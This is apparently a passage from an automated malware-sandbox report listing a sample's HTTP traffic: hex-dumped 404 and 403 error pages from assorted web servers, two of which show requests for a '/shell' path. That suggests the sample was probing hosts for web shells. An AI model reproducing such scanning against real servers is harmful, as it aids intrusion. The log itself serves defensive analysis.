3b 20 7d 0a 20 20 20 20 2e 73 74 61 74 75 73 35 78 78 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 3
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.2Date: Sun, 14 Apr 2024 02:01:04 GMTContent-Type: text/htmlContent-Length: 153Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.20.2</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCONNECTION: closeCONTENT-LENGTH: 48CONTENT-TYPE: text/htmlData Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body><h1>404 Not Found</h1></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Sun, 14 Apr 2024 02:01:04 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveVary: Accept-EncodingX-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffReferrer-Policy: no-referrer-when-downgradeContent-Security-Policy: default-src 'self' http: https: ws: wss: data: blob: 'unsafe-inline'; frame-ancestors 'self';Permissions-Policy: interest-cohort=()Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/htmlServer: Zscaler/6.2Cache-Control: no-cacheAccess-Control-Allow-Origin: *Content-length: 13657Data Raw: 3c 21 2d 2d 23 20 49 64 3a 20 63 6c 6f 73 65 64 70 72 6f 78 79 2e 68 74 6d 6c 20 32 38 35 31 34 34 20 32 30 32 31 2d 30 36 2d 31 36 20 30 35 3a 30 32 3a 30 36 5a 20 73 7a 68 61 6e 67 20 2d 2d 3e 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 63 2e 6f 72 67 2f 54 52 2f 31 39 39 39 2f 52 45 43 2d 68 74 6d 6c 34 30 31 2d 31 39 39 39 31 32 32 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 5a 73 63 61 6c 65 72 20 6d 61 6b 65 73 20 74 68 65 20 69 6e 74 65 72 6e 65 74 20 73 61 66 65 20 66 6f 72 20 62 75 73 69 6e 65 73 73 65 73 20 62 79 20 70 72 6f 74 65 63 74 69 6e 67 20 74 68 65 69 72 20 65 6d 70 6c 6f 79 65 65 73 20 66 72 6f 6d 20 6d 61 6c 77 61 72 65 2c 20 76 69 72 75 73 65 73 2c 20 61 6e 64 20 6f 74 68 65 72 20 73 65 63 75 72 69 74 79 20 74 68 72 65 61 74 73 2e 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 3c 74 69 74 6c 65 3e 49 6e 74 65 72 6e 65 74 20 53 65 63 75 72 69 74 79 20 62 79 20 5a 73 63 61 6c 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 3e 76 61 72 20 64 65 66 4c 61 6e 67 20 3d 20 27 65 6e 5f 55 53 27 3c 2f 73 63 72 69 70 74 3e 0a 3c 21 2d 2d 3c 69 6d 67 20 61 6c 74 3d 22 5a 73 63 61 6c 65 72 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 2e 7a 73 63 61 6c 65 72 2e 6e 65 74 2f 69 6d 67 5f 6c 6f 67 6f 5f 6e 65 77 31 2e 70 6e 67 22 3e 2d 2d 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 62 6f 64 79 20 7b 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 33 65 33 65 33 3b 0a 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 0a 63 6f 6c 6f 72 3a 23 34 42 34 46 35 34 3b 0a 7d 0a 61 20 7b 0a 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 0a 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 0a 63 6f 6c 6f 72 3a 23 30 30 39 64 64 30 3b 0a 7d 0a 74 61 62 6c 65 20 7b 0a 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 30 70 78 3b 0a 7d 0a 74 64 20 74 61 62 6c 65 20 7b 0a 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 0a 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 0a 7d 0a 69 6d 67 20 7b 0a 6d
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:01:08 GMTServer: Apache/2.4.38 (Debian)Content-Length: 271Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.38 (Debian) Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:01:11 GMTServer: ApacheContent-Length: 65Keep-Alive: timeout=3, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e Data Ascii: <h1>Not Found</h1>The requested URL was not found on this server.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:01:11 GMTServer: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.5.38Content-Length: 203Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/10.0X-Powered-By: ASP.NETDate: Sun, 14 Apr 2024 02:01:11 GMTContent-Length: 1163Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e b7 fe ce f1 c6 f7 b4 ed ce f3 3c 2f 68 31 3e 3c 2f 64
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 08:56:13 GMTServer: WebsX-Frame-Options: SAMEORIGINCache-Control: no-cacheContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=180, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Sun, 14 Apr 2024 02:00:57 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Content-Length: 106Connection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: gvs 1.0Date: Sun, 14 Apr 2024 02:01:15 GMTX-Frame-Options: SAMEORIGINX-XSS-Protection: 0Content-Length: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/8.5X-Powered-By: ASP.NETX-Powered-By-Plesk: PleskWinDate: Sun, 14 Apr 2024 02:01:09 GMTContent-Length: 1144Data Raw: 3c 48 54 4d 4c 3e 0d 0a 3c 48 45 41 44 3e 0d 0a 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 42 41 53 45 20 68 72 65 66 3d 22 2f 65 72 72 6f 72 5f 64 6f 63 73 2f 22 3e 3c 21 2d 2d 5b 69 66 20 6c 74 65 20 49 45 20 36 5d 3e 3c 2f 42 41 53 45 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 0d 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e 0d 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 64 6f 63 75 6d 65 6e 74 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0d 0a 3c 50 3e 0d 0a 3c 48 52 3e 0d 0a 3c 41 44 44 52 45 53 53 3e 0d 0a 57 65 62 20 53 65 72 76 65 72 20 61 74 20 26 23 31 30 32 3b 26 23 31 30 35 3b 26 23 31 30 33 3b 26 23 31 30 34 3b 26 23 31 31 36 3b 26 23 31 30 32 3b 26 23 31 31 31 3b 26 23 31 31 34 3b 26 23 31 31 35 3b 26 23 31 30 35 3b 26 23 31 30 33 3b 26 23 31 30 34 3b 26 23 31 31 36 3b 26 23 34 36 3b 26 23 31 31 31 3b 26 23 31 31 34 3b 26 23 31 30 33 3b 0d 0a 3c 2f 41 44 44 52 45 53 53 3e 0d 0a 3c 2f 42 4f 44 59 3e 0d 0a 3c 2f 48 54 4d 4c 3e 0d 0a 0d 0a 3c 21 2d 2d 0d 0a 20 20 20 2d 20 55 6e 66 6f 72 74 75 6e 61 74 65 6c 79 2c 20 4d 69 63 72 6f 73 6f 66 74 20 68 61 73 20 61 64 64 65 64 20 61 20 63 6c 65 76 65 72 20 6e 65 77 0d 0a 20 20 20 2d 20 22 66 65 61 74 75 72 65 22 20 74 6f 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 2e 20 49 66 20 74 68 65 20 74 65 78 74 20 6f 66 0d 0a 20 20 20 2d 20 61 6e 20 65 72 72 6f 72 27 73 20 6d 65 73 73 61 67 65 20 69 73 20 22 74 6f 6f 20 73 6d 61 6c 6c 22 2c 20 73 70 65 63 69 66 69 63 61 6c 6c 79 0d 0a 20 20 20 2d 20 6c 65 73 73 20 74 68 61 6e 20 35 31 32 20 62 79 74 65 73 2c 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 72 65 74 75 72 6e 73 0d 0a 20 20 20 2d 20 69 74 73 20 6f 77 6e 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 2e 20 59 6f 75 20 63 61 6e 20 74 75 72 6e 20 74 68 61 74 20 6f 66 66 2c 0d 0a 20 20 20 2d 20 62 75 74 20 69 74 27 73 20 70 72 65 74 74 79 20 74 72 69 63 6b 79 20 74 6f 20 66 69 6e 64 20 73 77 69 74 63 68 20 63 61 6c 6c 65 64 0d 0a 20 20 20 2d 20 22 73 6d 61 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 22 2e 20 54 68 61 74 20 6d 65 61 6e 73 2c 20 6f 66 20 63 6f 75 72 73 65 2c 0d 0a 20 20 20 2d 20 74 68 61 74 20 73 68 6f 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 61 72 65 20 63 65 6e 73 6f 72 65 64 20 62 79 20 64 65 66 61 75 6c 74 2e 0d 0a 20 20 20 2d 20 49 49 53 20 61 6c 77 61 79 73 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 74 68 61 74 20 61 72 65 20 6c 6f 6e 67 0d 0a 20 20 20 2d 20 65 6e 6f 75 67 68 20 74 6f 20 6d 61 6b 65 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 68 61 70 70 79 2e 20 54 68 65 0d 0a 20 20 20 2d 20 77 6f 72 6b 61 72 6f 75 6e 64 20 69 73 20 70 72 65 74 74
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Sun, 14 Apr 2024 02:01:00 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:01:15 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:01:15 GMTServer: ApacheX-XSS-Protection: 1; mode=blockStrict-Transport-Security: max-age=63072000; includeSubDomainsContent-Length: 203Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p></body></html>
